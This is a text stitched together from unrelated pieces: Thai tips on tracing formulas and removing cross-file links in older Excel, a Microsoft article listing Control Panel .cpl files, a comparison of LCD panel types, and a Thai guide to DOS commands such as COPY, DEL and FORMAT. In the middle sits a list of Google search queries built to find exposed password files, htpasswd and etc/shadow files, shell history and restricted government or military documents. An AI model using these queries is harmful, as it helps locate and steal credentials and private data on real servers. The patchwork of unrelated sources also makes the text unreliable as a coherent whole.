- ตรวจสอบเซลล์ที่พบว่าไม่มีค่าใด แต่เมื่อใช้ F5 > Special แล้วกลับพบว่าไม่ได้ว่างอย่างที่นึกไว้เนื่องจากอาจใช้วิชาล่องหน ซึ่งถูกใช้คำสั่ง Format > Cells > Number > Custom แล้วกำหนด Type เป็นเครื่องหมาย semi-colon 3 ตัวติดกัน ;;; ส่งผลให้ไม่ว่าจะเป็นค่าบวก ค่าลบ ค่าศูนย์ หรือตัวอักษรก็ตาม จะไม่แสดงค่าใดๆเลยให้เห็นในเซลล์ ซึ่งเราจะพบว่าเซลล์ไม่ได้ว่างอย่างที่เห็นได้โดยดูจากค่าที่แสดงในช่อง Formula Bar เท่านั้น ให้เปลี่ยน Format จาก ;;; เป็น General โดยเลือกเซลล์ที่ต้องการแล้วกดปุ่ม Ctrl+Shift+~ พร้อมกัน (แนะนำให้เปลี่ยน Format เซลล์ที่ต้องสงสัยเป็น General เพื่อช่วยให้เราเห็นค่าที่แท้จริง และทำลาย Format ที่ใช้เดิมทั้งหมดซึ่งอาจแสดงค่าผิดเพี้ยนจากค่าที่แท้จริง)
- ควรใช้ F5 > Special ค้นหา Object ซึ่งอาจเป็นรูปภาพที่มองไม่เห็นหรือเป็นรูปภาพขนาดเล็กมาก
วิธีตามรอยและย้อนรอยสูตร
เรื่องปวดเศียรเวียนเกล้าที่สุดในการใช้แฟ้ม Excel ที่ผู้อื่นสร้างขึ้น หรือแม้แต่แฟ้มที่ตนเองสร้างขึ้นเอง เห็นจะเป็นปัญหาการตามรอยและย้อนรอยสูตรนี่แหละ เพราะขนาดตนเองเป็นผู้สร้างสูตรต่างๆกับมือก็ตาม พอเวลาผ่านไปสักหกเดือน เราจะจำไม่ค่อยได้แล้วว่าข้อมูลใดอยู่ที่ไหน พอเปิดแฟ้มขึ้นมาดูจะงงเป็นไก่ตาแตก ไม่ทราบว่าจะเริ่มที่เซลล์ไหน และมีขั้นตอนใช้แฟ้มนั้นอย่างไรดี ยิ่งถ้าผู้ที่สร้างแฟ้ม ไม่ได้แยกส่วนข้อมูลไว้เป็นส่วนของ Input-Calculation-Output ด้วยแล้ว กว่าจะเริ่มต้นใช้งานต่อไปได้ จะต้องใช้เวลางมหาที่ไปที่มาของค่าต่างๆมิใช่น้อย
ขั้นตอนเบื้องต้น
- เริ่มแรกสุดต้องจัดเก็บแฟ้มต้นฉบับไว้ให้ดี เมื่อเปิดแฟ้มต้นฉบับ ให้รีบสั่ง Save as กำหนดชื่อแฟ้มใหม่
- ไม่ควรยอมให้รหัส VBA ในแฟ้มทำงาน โดยเปิดแฟ้มที่มีรหัส VBA แบบ Disable Macro เสมอ แล้วตรวจสอบรหัส VBA ที่ใช้อยู่ในแฟ้มนั้นก่อนว่าเป็นรหัสที่ใช้งานต่อได้อย่างปลอดภัยก่อน จึงจะยอมให้เปิดแฟ้มแบบ Enable Macro
- ตรวจสอบ File > Properties ว่า ผู้ที่สร้างแฟ้มนี้ได้บันทึกคำอธิบายวิธีการใช้งานไว้หรือไม่
- หากพบว่าแฟ้มที่ใช้งานนั้น Link ข้อมูลมาจากแฟ้มอื่น ให้เปิดแฟ้มต้นทาง โดยใช้เมนูคำสั่ง Edit > Links > Open Source ซึ่งจะช่วยทำให้สูตร Link ข้ามแฟ้มในแฟ้มปลายทางที่เรากำลังแกะสูตรอยู่ กลายเป็นสูตรสั้นลง ไม่แสดงชื่อ Drive และ Folder ด้านหน้าของชื่อแฟ้มต้นทางในเซลล์สูตร
- สั่ง File > Page Setup > Sheet > กาช่อง Black and white และกาช่อง Row and column headings เพื่อพิมพ์ตารางทั้งหมดแบบขาวดำ และมีหัวตารางบอกตำแหน่งอ้างอิง
- Unprotect และ Unhide ทุกอย่างที่ซ่อนหรือใส่รหัสป้องกันการแก้ไข โดยสั่ง
- Tools > Protection > Unprotect Workbook
- Tools > Protection > Unprotect Sheet
- Tools > Options > View > กาช่อง Gridlines, Row and column headers, Horizontal scroll bar, Vertical scroll bar, และ Sheet tabs
- View > Normal
- View > Full Screen
- เปลี่ยนชื่อ Sheet ให้ใช้ชื่อสั้นและเข้าใจง่าย เพื่อสะดวกต่อการอ่านสูตรในเซลล์
- ปรับให้เซลล์แสดงสูตรที่ใช้ โดยสั่ง Tools > Options > View > กาช่อง Formulas แล้วพิมพ์ตารางแสดงสูตรนี้เก็บไว้อ้างอิงเป็นสูตรต้นฉบับ
- เปลี่ยนระบบการแก้ไขในเซลล์ โดยสั่ง Tools > Options > Edit ตัดกาช่อง Edit directly in cell เพื่อใช้ Formula Bar ในการแก้ไขแทนการแก้ไขในเซลล์โดยตรง และส่งผลให้เมื่อเรา Double คลิกลงไปในเซลล์สูตรปลายทาง (Dependent) จะพบว่า Excel จะพาเราย้อนไปเลือกเซลล์ต้นทาง (Precedent) ให้เลย และให้กด F5 ตามด้วยกด Enter เพื่อย้อนกลับมายังเซลล์สูตร
- สั่ง Insert > Name > Paste > Paste List เพื่อสรุปชื่อ Range Name, Formula Name, และ Constant Name ที่ใช้อยู่ในแฟ้ม
วิธีไล่ที่ไปที่มาของสูตรด้วย F5 ตามด้วย F4
เริ่มจากคลิกเลือกเซลล์สูตร จากนั้นกดปุ่ม F5 > Special เพื่อเปิด Goto Special
- กาช่อง Precedents หากต้องการค้นหาเซลล์ต้นทางที่ส่งค่ามายังเซลล์สูตร
- กาช่อง Dependents หากต้องการค้นหาเซลล์ที่รับค่าต่อจากเซลล์สูตร
- เมื่อกดปุ่ม OK ให้กดปุ่ม F4 เพื่อทวนคำสั่งล่าสุดซ้ำต่อไปเรื่อยๆ จะพบว่า Excel กระโดดไปยังเซลล์ต่างๆให้เอง
วิธีค้นหาเซลล์แกะดำที่มีสูตรเพี้ยน
เริ่มจากคลิกเลือกตารางเซลล์สูตรที่สร้างไว้ตามแนวนอนหรือตามแนวตั้ง จากนั้นกดปุ่ม F5 > Special เพื่อเปิด Goto Special
- กาช่อง Row Differences ถ้าเลือกเซลล์สูตรตามแนวนอน
- กาช่อง Column Differences ถ้าเลือกเซลล์สูตรตามแนวตั้ง
- เมื่อกดปุ่ม OK ให้กดปุ่ม F4 เพื่อทวนคำสั่งล่าสุดซ้ำต่อไปเรื่อยๆ จะพบว่า Excel กระโดดไปยังเซลล์ต่างๆให้เอง
ทุกครั้งที่ Excel กระโดดไปยังเซลล์ต่างๆ ควรสังเกตรูปแบบสูตรบน Formula Bar และกลุ่มของเซลล์ที่เลือกไว้ซึ่งแสดงถึงรูปแบบสูตรที่ใช้ในเซลล์แต่ละกลุ่ม
วิธีสร้างแผนที่แสดงที่ไปที่มาของสูตร
แม้การใช้ Goto Special จะช่วยทำให้ Excel กระโดดไปเลือกเซลล์ต้นทางปลายทางของสูตรให้เองก็ตาม แต่ยังสู้คำสั่งจากเมนู Tools > Auditing > Show Auditing Toolbar หรือ Tools > Formula Auditing > Show Formula Auditing Toolbar ใน Excel XP ขึ้นไปไม่ได้ เนื่องจากการ Auditing จะช่วยสร้างเส้นลูกศรชี้ไปยังเซลล์ปลายทางให้ด้วย ดีกว่าการใช้ Goto Special ซึ่งเราต้องจำที่ไปที่มาด้วยตนเอง
ก่อนที่จะใช้คำสั่งสร้างแผนที่ควรสั่ง Save แฟ้มให้เรียบร้อยก่อน เนื่องจากหากมีเซลล์สูตรที่เกี่ยวข้องกันมากมาย จะเสียเวลารอนานทีเดียวกว่าจะลากเส้นลูกศรครบทั้งหมด เมื่อ Formula Auditing สร้างเส้นลูกศรให้แล้ว ให้ชี้ที่เส้นลูกศรแล้ว Double คลิกเพื่อกระโดดกลับไปกลับมาระหว่างเซลล์ต้นทางปลายทาง ซึ่งหากเป็นสูตรที่ Link ข้าม Sheet หรือข้ามแฟ้ม จะเห็นภาพตารางที่ต้นทางหรือปลายทางของเส้น และเมื่อ Double คลิกที่เส้นจะเปิดจอ Goto ขึ้นมา ให้เลือกเซลล์ต่าง Sheet หรือต่างแฟ้มที่แสดงต้องการไป
เส้นลูกศรที่ได้นี้ สามารถพิมพ์ลงบนกระดาษประกอบตารางเพื่อเป็นแผนที่แสดงที่ไปที่มาของสูตร แต่เมื่อสั่ง Save จะถูกลบทิ้งไป ไม่สามารถเก็บเส้นลูกศรไว้ติดแฟ้ม
ร่องรอยที่สาบสูญ
Goto Special และ Formula Auditing ทำหน้าที่ตามรอยและย้อนรอยสูตร ช่วยค้นหาที่ไปที่มาของการคำนวณซึ่งส่งค่าต่อไปเรื่อยๆ อย่างไรก็ตามเครื่องมือดังกล่าวยังไม่สามารถค้นหาร่องรอยของสูตรในลักษณะต่อไปนี้
- สูตรซึ่งใช้ตำแหน่งอ้างอิงเป็น Text เช่น สูตร Indirect
- สูตรซึ่งเปลี่ยนเป็น Text เพื่อหยุดการคำนวณ โดยการเติมเครื่องหมาย " ด้านหน้าเครื่องหมายเท่ากับ เช่น "=Sum(A1:A5) เพื่อหยุดไม่ให้คำนวณผลบวกตัวเลขในเซลล์ A1:A5 ทั้งนี้อาจสั่งผ่าน Edit > Replace เปลี่ยนเครื่องหมาย = เป็น "= ทำให้ลดจำนวนเซลล์สูตรลง ส่งผลให้แฟ้มคำนวณเร็วขึ้น
- สูตรซึ่งสร้างขึ้นโดย VBA หรือเป็นสูตร Function VBA ทำหน้าที่รับค่าจากเซลล์อื่น เช่น สูตร FnLink รับค่าจากเซลล์ A5
Function FnLink() FnLink = [A5] End Function
วิธีค้นหาและทำลาย Link ข้ามแฟ้ม
ตั้งแต่ Excel XP เป็นต้นมา เราสามารถกดปุ่ม Break Link จากเมนูคำสั่ง Edit > Links แต่คำสั่งนี้จะทำลายสูตรทุกสูตรในเซลล์ซึ่งมีสูตร Link ข้ามแฟ้ม ให้กลายเป็นตัวเลข ทำให้สูตรอื่นๆในเซลล์นั้นถูกทำลายตามไปด้วย ดังนั้นคำสั่งนี้จึงเหมาะสำหรับการทำลายสูตร Link ข้ามแฟ้มซึ่งมีเพียงสูตรเดียวในเซลล์หนึ่งๆเท่านั้น
แทนที่จะใช้คำสั่ง Break Link ซึ่งจะทำลายสูตรทั้งหมดในเซลล์ หากต้องการเปลี่ยนแปลงเฉพาะส่วนของสูตร Link ข้ามแฟ้ม ขอให้ใช้ขั้นตอนต่อไปนี้
- สั่ง Edit > Links เพื่อตรวจสอบชื่อแฟ้มต้นทางก่อนว่ามีชื่ออะไรบ้าง
- สั่ง Edit > Find เพื่อค้นหาเซลล์ที่มีคำว่า xls หรือ ชื่อแฟ้ม.xls จากนั้นให้เปลี่ยนสีพื้นเซลล์หรือสีตัวอักษรเพื่อเป็นสัญลักษณ์บอกตำแหน่งว่ามีสูตร Link ข้ามแฟ้มอยู่ในเซลล์ใด
- คลิกเลือกสูตรเฉพาะส่วนที่ต้องการแก้ไข จากนั้นพิมพ์ตัวเลขทับ หรือกดปุ่ม F9 เพื่อเปลี่ยนสูตร Link ข้ามแฟ้มให้เป็นตัวเลข
ขั้นตอนข้างต้นถือเป็นขั้นตอนที่ต้องใช้เวลาในการแก้ไขมาก เพราะต้องค่อยๆแก้ไขทีละเซลล์และทีละสูตรด้วยตนเอง และที่น่าเสียดายเป็นอย่างยิ่งก็คือ เป็นการทำลายสูตรที่เราเสียเวลาสร้างขึ้นมากับมือ เมื่อทำลายกลายเป็นตัวเลขไปแล้ว จะไม่สามารถใช้คำสั่งใดย้อนกลับเปลี่ยนตัวเลขให้คืนสภาพเป็นสูตรได้อีก ยกเว้นแต่จะเปลี่ยนใจทันควันแล้ว Undo เท่านั้น
ดังนั้นเพื่อป้องกันปัญหาไม่ให้เกิดขึ้นแล้วต้องเสียเวลาแก้ไขสูตรในภายหลัง เราควรจัดเตรียมเซลล์เพื่อสร้างสูตร Link ข้ามแฟ้มแยกจากเซลล์คำนวณอื่นๆไว้เป็นตารางหรือ Sheet เป็นพื้นที่เพื่อใช้เป็นพื้นที่สำหรับสูตร Link ข้ามแฟ้มเป็นการเฉพาะ จากนั้นจึงค่อยสร้างสูตรคำนวณนำค่าไปคำนวณต่ออีกชั้นหนึ่ง อย่าใช้วิธีสร้างสูตร Link ข้ามแฟ้มซ้อนเข้าไปคำนวณร่วมกับสูตรอื่นเป็นอันขาด
- หากต้องการทำลาย Link ข้ามแฟ้มให้กลายเป็นตัวเลข ให้ใช้คำสั่ง Edit > Links > Break Link หรือใช้วิธี Copy ทั้งตารางแล้วสั่ง Paste Special แบบ Value ทับตารางสูตรลงไปเพื่อทำให้กลายเป็นตัวเลขทั้งหมด
- หากต้องการเก็บสูตร Link ข้ามแฟ้มไว้เช่นเดิม ให้เปิดแฟ้มต้นทางขึ้นมาแล้วลบเซลล์ทั้งหมดทิ้ง เว้นเซลล์ต้นทางที่ส่งค่าไปยังสูตร Link ข้ามแฟ้ม ทั้งนี้สามารถใช้วิธี Double คลิกลงไปในเซลล์สูตร Link ข้ามแฟ้ม ซึ่ง Excel จะกระโดดย้อนไปหาเซลล์ต้นทางในแฟ้มต้นทางให้เอง (จะใช้วิธี Double คลิกดังกล่าวได้ ต่อเมื่อสั่ง Tools > Options > Edit > ตัดกาช่อง Edit directly in cell ไว้ก่อน)
- หากต้องการเก็บสูตร Link ข้ามแฟ้มไว้เช่นเดิม แต่ต้องการให้ส่งค่าเท่ากับ 0 ให้เปิดแฟ้มต้นทางขึ้นมาแล้วลบค่าในเซลล์ทั้งหมดทิ้ง ซึ่งจะช่วยให้แฟ้มต้นทางกลายเป็นแฟ้มขนาดเล็กมาก
- หากต้องการเปลี่ยนสูตร Link ข้ามแฟ้มให้กลายเป็นสูตร Link ข้าม Sheet ให้ใช้วิธี Cut เซลล์ต้นทางจากแฟ้มต้นทาง มา Paste ลงในแฟ้มปลายทาง ซึ่ง Excel จะช่วยเปลี่ยนแปลงสูตร Link ให้เอง
นอกจากสูตร Link ข้ามแฟ้มซึ่งอยู่ในเซลล์แล้ว ยังอาจมีสูตร Link ข้ามแฟ้ม ซ่อนอยู่อีกในส่วนอื่นๆ เช่น
- Range Name และ Formula Name ให้ตรวจดูจากคำสั่ง Insert > Name > Define
- Data Validation แบบ Custom
- Conditional Formatting แบบ Formula is
- Assigned Macro ซึ่งกำกับติดไว้กับ Object ที่เป็นรูปภาพหรือปุ่ม
ขอให้ตรวจสอบและจัดการกับสูตร Link ข้ามแฟ้มจนกว่าจะไม่พบเมนูคำสั่ง Edit > Links เปิดให้ใช้งาน จากนั้นจึงจะถือว่าเป็นแฟ้มซึ่งสามารถนำไปใช้งานได้อย่างอิสระต่อไป
SUMMARY
This article describes the purpose and usage of Control Panel (.cpl) files.
MORE INFORMATION
Each tool in Control Panel is represented by a .cpl file in the Windows\ System folder. The .cpl files in the Windows\System folder are loaded automatically when you start Control Panel. Note that Control Panel files are sometimes loaded using entries in the [MMCPL] section of the Control.ini file. The following table lists the most common .cpl files, including all the .cpl files included with Windows: File name Purpose
-----------------------------------------------------------------------
Access.cpl Accessibility properties
Appwiz.cpl Add/Remove Programs properties
Desk.cpl Display properties
FindFast.cpl FindFast (included with Microsoft Office for Windows 95)
Inetcpl.cpl Internet properties
Intl.cpl Regional Settings properties
Joy.cpl Joystick properties
Main.cpl Mouse, Fonts, Keyboard, and Printers properties
Mlcfg32.cpl Microsoft Exchange or Windows Messaging properties
Mmsys.cpl Multimedia properties
Modem.cpl Modem properties
Netcpl.cpl Network properties
Odbccp32.cpl Data Sources (32-bit ODBC, included w/ Microsoft Office)
Password.cpl Password properties
Sticpl.cpl Scanners and Cameras properties
Sysdm.cpl System properties and Add New Hardware wizard
Themes.cpl Desktop Themes
TimeDate.cpl Date/Time properties
Wgpocpl.cpl Microsoft Mail Post Office
Note that in Windows 98, the Desk.cpl file is named Deskw95.cpl in the compressed cabinet (.cab) file. The file is renamed to Desk.cpl in the Windows\System folder. Third-party software and hardware manufacturers can add Control Panel icons to provide an interface for setting configuration options for their products. An icon appears in Control Panel when the .cpl file is placed in the Windows\System folder by the program's Setup tool. You can create a shortcut to a Control Panel tool by dragging an icon from Control Panel to the desktop or another location, or by manually creating a shortcut and specifying the path to a .cpl file. Note that the Sounds tool does not have its own .cpl file; it uses the Mmsys.cpl file. To create a shortcut to the Sounds tool, use the command line control mmsys.cpl sounds.
APPLIES TO
• Microsoft Windows 98 Standard Edition • Microsoft Plus! 95 Standard Edition • Microsoft Windows 95 • Microsoft Windows Millennium Edition
TN film (Twisted Nematic) - low manufacturing/retail costs - restrictive viewing angles - fast pixel response times - dead pixels display white. Stuck pixels display RGB colors - lower contrast levels means blacks are not as dark as VA based panels - lower color reproduction
IPS (In Plane Switching) - improved viewing angles over TN - very good color reproduction - slower pixel response times than TN - dead pixels display black - lower contrast levels means blacks are not as dark as VA based panels
Super-IPS (S-IPS) - same as IPS except ... - likely best color reproduction of all TFT - less expensive to produce than IPS - improved pixel response
VA (Vertical Alignment) Technologies
MVA (Multidomain Vertical Alignment) - compromise between TN and IPS technologies - superior color reproduction over TN but not as good as IPS - very good viewing angles but less than IPS - higher contrast than TN or S-IPS means very good blacks - dead pixels are black - slower pixel response than TN or IPS - details can be lost when directly viewing dark areas
Premium-MVA (P-MVA) - same as MVA except ... - "overdrive" technology increases pixel response but still slower than TN - may have slightly degraded color reproduction due to "overdrive" process
PVA (Patterned VA) - same as MVA except ... - larger viewing angles - higher contrast levels means darkest blacks
Super-PVA (S-PVA) - same as PVA except ... - “Magic Speed” (the Samsung equivalent to Overdrive) improves pixel response - slightly improved color reproduction - slightly improved viewing angles
Purchasing Considerations
TN Gamers Considered a "gamers" panel due to it's fast pixel response times which reduces trailing images know as "ghosting". However, this advantage has been reduced by new technologies to accelerate pixel response times in other panel types. Colors and contrast tend to be weak and blacks are not truly dark. Viewing angles are significantly limited. However, monitors based on this technology tend to be inexpensive.
IPS / S-IPS Graphics Work or Web Browsing Considered to have the best color reproduction of all panel types, these panels are well suited for graphics work or web browsing. Pixel response time is also good but slower than the TN "gamers" panel. Contast and blacks are also less dark than VA panels but viewing angles are excellent.
MVA / P-MVA / PVA / S-PVA Compromise for All-Around Use These panels are a compromise between the fast pixel response times of the TN panel and the excellent color reproduction of the IPS panels. Contrast and blacks are best of all the panel types. Viewing angles are similar but slightly inferior to IPS. เนื่องจากความเก่งกาจของ google จึงไม่แปลกที่มีผู้ใช้เป็นจำนวนมากแต่ทุกๆอย่างย่อมมีทั้งดี-เสีย ลองดูเองแล้วกันนะครับ
http://johnny.ihackstuff.com/index.php?mod...ule=prodreviews
http://petjka.blogspot.com
SEARCH PATHS :
"Index of /admin" "Index of /password" "Index of /mail" "Index of /" +passwd "Index of /" +password.txt "Index of /" +.htaccess index of ftp +.mdb allinurl:/cgi-bin/ +mailto
administrators.pwd.index authors.pwd.index service.pwd.index filetype:config web gobal.asax index
allintitle: "index of/admin" allintitle: "index of/root" allintitle: sensitive filetype:doc allintitle: restricted filetype :mail allintitle: restricted filetype:doc site:gov
inurl: passwd filetype:txt inurl: admin filetype:db inurl: iisadmin inurl: "auth_user_file.txt" inurl: "wwwroot/*."
top secret site:mil confidential site:mil
allinurl: winnt/system32/ (get cmd.exe) allinurl:/bash_history
intitle:"Index of" .sh_history intitle:"Index of" .bash_history intitle:"index of" passwd intitle:"index of" people.lst intitle:"index of" pwd.db intitle:"index of" etc/shadow intitle:"index of" spwd intitle:"index of" master.passwd intitle:"index of" htpasswd intitle:"index of" members OR accounts intitle:"index of" user_carts OR user_cart
ความจำเป็นในการใช้ (Dos) ยังคงมีอยู่ แม้ว่าในปัจจุบันบทบาทของมันจะเริ่มลดลงไปมากหลังจาก Windows เริ่มมีความสมบูรณ์และมีสิ่งอำนวยความสะดวกมาให้ชนิดที่ไม่ต้องพึ่งดอสเลย แต่ถ้าเมื่อไรเครื่องของคุณยังไม่มี Windows หรือเข้าไปใช้งาน Windows ไม่ได้ คำสั่งดอสก็มีความจำเป็นอย่างยิ่ง เพราะการใช้คำสั่งดอสจะช่วยแก้ปัญหาต่าง ๆ ได้เช่นการ การซ่อมแซมไฟล์ที่เสีย ก๊อปxxxไฟล์ข้อมูล แก้ปัญหา Bad Sector ฯลฯ ดังนี้เราควรทราบคำสั่งบางคำสั่งที่จำเป็นไว้บ้างเพื่อนำไปใช้งานในยามฉุกเฉิน Dos ย่อมาจาก Disk Operating System เป็นระบบปฎิบัติการรุ่นแรก ๆ ซึ่งการทำงานของเครื่องคอมพิวเตอร์จะมีการทำงานบนระบบปฎิบัติการดอสเป็นหลัก โดยการทำงานส่วนใหญ่จะเป็นการทำงานโดยการใช้คำสั่งผ่านบรรทัดคำสั่ง (Command Line) ที่นิยมใช้กันคือ MS-Dos ซึ่งต่อมาระบบปฎิบัติการดอสจะถูกซ่อนอยู่ใน Windows ลองมาดูกันว่าคำสั่งไหนบ้างที่เราควรรู้จักวิธีใช้งาน
CD คำสั่งเข้า-ออก ในไดเร็คทอรี่ CD (Change Directory) เป็นคำสั่งที่ใช้ในการเปลี่ยนไดเร็คทอรี่ในโหมดดอส เช่น ถ้าต้องการรัน คำสั่งเกมส์ที่เล่นในโหมดดอส ซึ่งอยู่ในไดเร็คทอรี MBK ก็ต้องเข้าไปในไดเร็คทอรีดังกล่าวเสี่ยก่อนจึงจะรันคำสั่งเปิดโปรแกรมเกมส์ได้ รูปแบบคำสั่ง CD [drive :] [path] CD[..] เมื่อเข้าไปในไดเร็คทอรีใดก็ตาม แล้วต้องการออกจากไดเร็คทอรีนั้น ก็เพียงใช้คำสั่ง CD\ เท่านั้นแต่ถ้าเข้าไปในไดเร็คทอรีย่อยหลาย ๆ ไดเร็คทอรี ถ้าต้องการออกมาที่ไดรว์ซึ่งเป็นระดับสูงสุด ให้ใช้คำสั่ง CD\ เพราะคำสั่ง CD.. จะเป็นการออกจากไดเร็คทอรีได้เพียงลำดับเดียวเท่านั้น
ตัวอย่างการใช้คำสั่ง CD\ กลับไปที่ Root ระดับสูงสุด เช่น ถ้าเดิมอยู่ที่ C:\>docs\data> หลังจากใช้คำสั่งนี้ก็จะย้อนกลับไปที่ C:\ > CD.. กลับไปหนึ่งไดเร็คทอรี เช่น ถ้าเดิมอยู่ที่ C:\windows\command> หลังจากนั้น ใช้คำสั่งนี้ก็จะก็จะย้อนกลับไปที่ C:\windows>
CHKDSK (CHECK DISK) คำสั่งตรวจเช็คพื้นที่ดิสก์ CHKDSK เป็นคำสั่งที่ใช้ในการตรวจสอบข้อมูลของหน่วยความจำ และการใช้งานดิสก์หรือฮาร์ดดิสก์ การรายงานผลของคำสั่งนี้จะเข้าไปตรวจสอบพื้นที่ไดเร็คทอรี และ FAT ของดิสก์ หรือไฟล์ เพื่อหาข้อมผิดพลาดของการเก็บบันทึก ถ้า CHKDSK พบว่ามี Lost Cluster จะยังไม่แก้ไขใด ๆ นอกจากจะใช้สวิตซ์ /f กำหนดให้ทำการเปลี่ยน Lost Cluster ให้เป็นไฟล์ที่มีชื่อไฟล์เป็น FILE0000.CHK ถ้าพบมากว่า 1 ไฟล์ อันต่อไปจะเป็น FILE0002.CHK ไปเรื่อย ๆ นอกจากนี้ยังสามารถรายงานปัญหาที่ตรวจพบได้อีก อย่างเช่น จำนวน Bad Sector , Cross-ling Cluster (หมายถึง Cluster ที่มีไฟล์มากกว่าหนึ่งไฟล์แสดงความเป็นเจ้าของ แต่ข้อมูลใน Cluster จะเป็นของไฟล์ได้เพียงไฟล์เดียวเท่านั้น) รูปแบบคำสั่ง CHKDSK [drive:][[path]filename] [/F] [/V] [drive:][path] กำหนดไดรว์ และไดเร็ทอรีที่ต้องการตรวบสอบ filename ชื่อไฟล์ที่ต้องการให้ตรวจสอบ /F สั่งให้ Fixes Errors ทันทีที่ตรวจพบ /V ขณะที่กำลังตรวจสอบ ให้แสดงชื่อไฟล์และตำแหน่งของดิสก์บนหน้าจอด้วย ตัวอย่างการใช้คำสั่ง C:\WINDOWS>CHKDSK D: ตรวจสอบข้อมูลการใช้งานดิสก์ในไดรว์ D C:\>CHKDSK C: /F ตรวจสอบ ไดรว์ C พร้อมกับซ่อมแซมถ้าตรวจเจอปัญหา
COPY คำสั่งคัดลอกไฟล์ Copy เป็นคำสั่งที่ใช้ในการคัดลอกไฟล์ จากไดเร็คทอรีหนึ่งไปยังไดเร็คทอรีที่ต้องการ คำสั่งนี้มีประโยชน์มากควรหัดใช้ให้เป็น เพราะสามารถคัดลอกไฟล์ได้ยามที่ Windows มีปัญหา รูปแบบคำสั่ง COPY [Source] [Destination] ตัวอย่างการใช้คำสั่ง C:\COPY A:README.TXT คัดลอกไฟล์ชื่อ README.TXT จากไดรว์ A ไปยังไดรว์ C C:\COPY README.TXT A: คัดลอกไฟล์ชื่อ README.TXT จากไดรว์ C ไปยังไดรว์ A C:\INFO\COPY A:*.* คัดลอกไฟล์ทั้งหมดในไดรว์ A ไปยังไดเร็คทอรี INFO ในไดรว์ C A:\COPY *.* C:INFO คัดลอกไฟล์ทั้งหมดในไดรว์ A ไปยังไดเร็คทอรี INFO ในไดรว์ C
DIR คำสั่งแสดงไฟล์และไดเร็คทอรีย่อย เป็นคำสั่งที่ใช้แสดงรายชื่อไฟล์และไดเร็คทอรี คำสั่งนี้ถือเป็นคำสั่งพื้นฐานที่ต้องใช้อยู่เป็นประจำ เพื่อจะได้รู้ว่าในไดรว์หรือไดเร็คทอรีนั้น ๆ มีไฟล์หรือไดเร็คทอรีอะไรอยู่บ้าง รูปแบบคำสั่ง DIR /P /W /P แสดงผลทีละหน้า /W แสดงในแนวนอนของจอภาพ
ตัวอย่างการใช้คำสั่ง C:\>DIR ให้แสดงรายชื่อไฟล์ และไดเร็คทอรีทั้งหมดในไดรว์ C C:\>DIR /W ให้แสดงรายชื่อไฟล์ และไดเร็คทอรีทั้งหมดในไดรว์ C ในแนวนอน C:\>INFO\DIR /P ให้แสดงรายชื่อไฟล์ และไดเร็คทอรีย่อยในไดเร็คทอรี INFO โดยแสดงทีละหน้า C:\>INFO\DIR *.TEX ให้แสดงรายชื่อไฟล์ทั้งหมดในไดเร็คทอรี INFO เฉพาะที่มีนามสกุล TXT เท่านั้น C:\> DIR BO?.DOC ให้แสดงรายชื่อไฟล์ในไดรว์ C ที่ขึ้นต้นด้วย BO และมีนามสกุล DOC ในตำแหน่ง ? จะเป็นอะไรก็ได้
DEL (DELETE) คำสั่งลบไฟล์ เป็นคำสั่งที่ใช้ในการลบไฟล์ ซึ่งต้องระมัดระวังในการใช้คำสั่งนี้ให้มาก รูปแบบคำสั่ง DEL [ชื่อไฟล์ที่ต้องการลบ]
ตัวอย่างการใช้คำสั่ง C:\>DEL BOS.VSD ลบไฟล์ในไดรว์ C ที่ชื่อ BOS.VSD C:\>PROJECT\DEL JOB.XLS ลบไฟล์ชื่อ JOB.XLS ที่อยู่ในไดเร็คทอรี PROJEC ของไดรว์ C D:\>DEL *.TXT ลบทุกไฟล์ที่มีนามสกุล TXT ในไดรว์ D
FDISK ( Fixed Disk) เป็นไฟล์โปรแกรมที่ใช้ในการจัดการกับพาร์ติชั่นของฮาร์ดิสก์ ใช้ในการสร้าง ลบ กำหนดไดรว์ ที่ทำหน้าที่บูตเครื่อง แสดงรายละเอียดของพาร์ติชันบนฮาร์ดิสก์ จะเห็นว่าเป็นโปรแกรมอีกตัว หนึ่งที่ต้องทำความรู้จักและศึกษาวิธีใช้งาน เพราะสามารถใช้ประโยชน์ในการสร้าง ฮาร์ดดิสก์ให้มีหลาย ๆ ไดรว์ก็ได้ รูปแบบคำสั่ง FDISK /STATUS ตัวอย่างการใช้งานโปรแกรม A:>\FDISK เริ่มใช้งานโปรแกรม A:\>FDISK /STATUS แสดงข้อมุลเกี่ยวกับพาร์ติชันบนฮาร์ดดิสก์
FORMAT คำสั่งฟอร์แมตเครื่อง เป็นคำสั่งใช้จัดรูปแบบของดิสก์ใหม่ คำสั่งนี้ปกติจะใช้หลังการแบ่งพาร์ชันด้วยคำสั่ง FDISK เพื่อให้สามารถใช้งานฮาร์ดดดดิสก์ได้ หรือฝช้ล้างข้อมูลกรณีต้องการเคลียร์ข้อมูลทั้งหมดในฮา ร์ดิสก์ รูปแบบคำสั่ง FORMAT drive: [/switches] /Q ให้ฟอร์แมตแบบเร็ว ซึ่งจะใช้เวลาน้อยลง (Quick Format) /S หลังฟอร์แมตแล้วให้คัดลอกไฟล์ระบบลงไปในไดรว์นั้นด้วย เพื่อให้ไดรว์ที่ทำการฟอร์แมตสามารถบูตได้ ตัวอย่างการใช้คำสั่ง A:\>FORMAT C: /S ฟอร์แมตไดรว์ C แล้วให้คัดลอกไฟล์ระบบลงไปในไดรว์ด้วย C:\>FORMAT A: /Q ฟอร์แมตไดรว์ A แบบ Quick Format
MD คำสั่งสร้างไดเร็คทอรี MD (Make Directory) เป็นคำสั่งที่ใช้ในการสร้างไดเร็คทอรี คำสั่งนี้จะช่วยให้สามารถสร้างไดเร็คทอรีชื่ออะไรก็ได้ที่เราต้องการ แต่ต้องมีการตั้งชื่อที่อยู่ในกฎเกณฑ์ของ Dos รูปแบบคำสั่ง MD [drive:] path ตัวอย่างการใช้คำสั่ง D:\> MD TEST สร้างไดเร็คทอรี TEST ขึ้นมาในไดรว์ D D:\>DOC\MD TEST สร้างไดเร็คทอรีที่ชื่อ TEST ขึ้นมาภายในไดเร็คทอรี DOC
